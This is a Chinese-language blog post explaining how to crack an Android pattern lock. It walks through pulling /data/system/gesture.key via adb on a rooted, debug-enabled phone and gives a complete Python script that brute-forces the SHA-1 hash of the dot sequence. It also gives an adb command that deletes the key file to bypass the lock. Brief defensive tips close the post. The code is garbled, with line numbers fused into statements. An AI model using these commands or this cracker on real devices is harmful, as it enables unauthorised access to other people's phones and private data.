破解android手機圖形鎖

標籤：

     安卓手機的圖形鎖包括3*3，4*4，5*5的點陣，按次序串連數個點從而達到鎖定/解鎖的功能。以3*3為例，最少需要串連4個點，最多能串連9個點。在我們進行繪製圖形的過程中，每選中這9個點中的一個點，實際上就代表選中了一位元字。當我們串連完4個點時，產生的圖形也會間接產生一組密碼。比如我們選中02、04、05、08這四個點位，那麼組成的密碼即為02040508。當然，為了安全，產生的密碼是不可能直接被儲存的，於是安卓系統將02040508轉換為16進位並以sha1加密，並儲存在手機裡的/data/system/gesture.key 檔案中。我們要做的就是破解這個檔案中儲存的密鑰，通過破解出的密鑰可以得到繪製圖形的點位，從而進入手機系統。

破解有兩個前提條件：

（1）手機需要root；

（2）需要開啟偵錯模式。

滿足了以上兩個條件，我們便可以開始對安卓手機的圖形密碼進行破解。

首先利用adb進入手機的shell模式。然後adb pull data/system/gesture.key gesture.key。將密鑰存放的檔案拷貝到電腦。利用C32Asm開啟gesture.key檔案，會發現其檔案內容為sha1加密。1所示： 

圖1

因為該密鑰是基於點位組成的密碼，將sha1密鑰解密後的密碼應該是大於4位小於9位的。密碼數量大概在3024~985824之間。既然密碼的數量已經知道，我們便可以對該密碼進行窮舉破解。

利用python編寫窮舉破解程式：

主要編程思路如下：首先對00-09這些數字進行排列組合，需要用到Python中的itertools模組，來完成迭代迴圈操作。組合出來的數字序列在用hashlib模組對字串進行SHA1加密，然後對gesture.key檔案中的密鑰進行碰撞，知道找到相同的一組數字序列。

代碼：

 1 #coding:utf-8 2 import itertools 3 import hashlib 4 import time 5 import os 6 #調用cmd，ADB串連到手機,讀取SHA1加密後的字串 7 #os.system(r"adb pull /data/system/gesture.key gesture.key") 8 time.sleep(5) 9 f=open(‘gesture.key‘,‘r‘)10 pswd=f.readline()11 f.close()12 pswd_hex=pswd.encode(‘hex‘)13 print u‘加密後的密碼為：%s‘%pswd_hex14 #產生解鎖序列，得到[‘00‘,‘01‘,‘02‘,‘03‘,‘04‘,‘05‘,‘06‘,‘07‘,‘08‘]15 matrix=[] 16 for i in range(0,9):17     str_temp = ‘0‘+str(i)18     matrix.append(str_temp)19 #將00——08的字元進行排列，至少取4個數排列，最多全部進行排列20 min_num=421 max_num=len(matrix)22 list_m=[]23 for num in range(min_num,max_num+1):#從04 -> 0824     iter1 = itertools.permutations(matrix,num)#從9個數字中挑出n個進行排列25     list_m.append(list(iter1))#將產生的排列全部存放到 list_m 列表中26 27 for i in list_m:28     for el in i:#遍曆這n個數位全部排列29         strlist=‘‘.join(el)#將list轉換成str。[00,03,06,07,08]-->000306070830         #print strlist31         strlist_sha1 = hashlib.sha1(strlist.decode(‘hex‘)).hexdigest()#將字串進行SHA1加密32         if pswd_hex==strlist_sha1:#將手機檔案裡的字串與加密字串進行對比33             print u‘解鎖密碼為：‘,strlist

當指令碼運行完成後，便會輸出圖形序列的密碼，按照0001020406的排列順序，繪製相應的圖形便可進入手機。 

通過這種方式擷取手機許可權的限制還是比較多的，首先手機必須是已經root的最高許可權，並且開啟了開發人員偵錯模式。

防止以上攻擊方法的防禦措施就是關閉開發人員偵錯模式，手機被盜後可以禁止其他人對手機ADB調試破解密碼。另外也要防止木馬被植入手機，因為通過木馬也可以匯出手機中的gesture.key密鑰管理檔案。

另外，從破解目的來說，如果單單是忘記了自己的手機圖形鎖密碼，完全可以用更簡單的辦法：ADB串連手機，然後“adb rm /data/system/gesture.key”刪除掉gesture.key檔案，此時圖形鎖就失效了，隨意畫一下就能解鎖。

參考文章：http://www.jb51.net/softjc/295236.html

破解android手機圖形鎖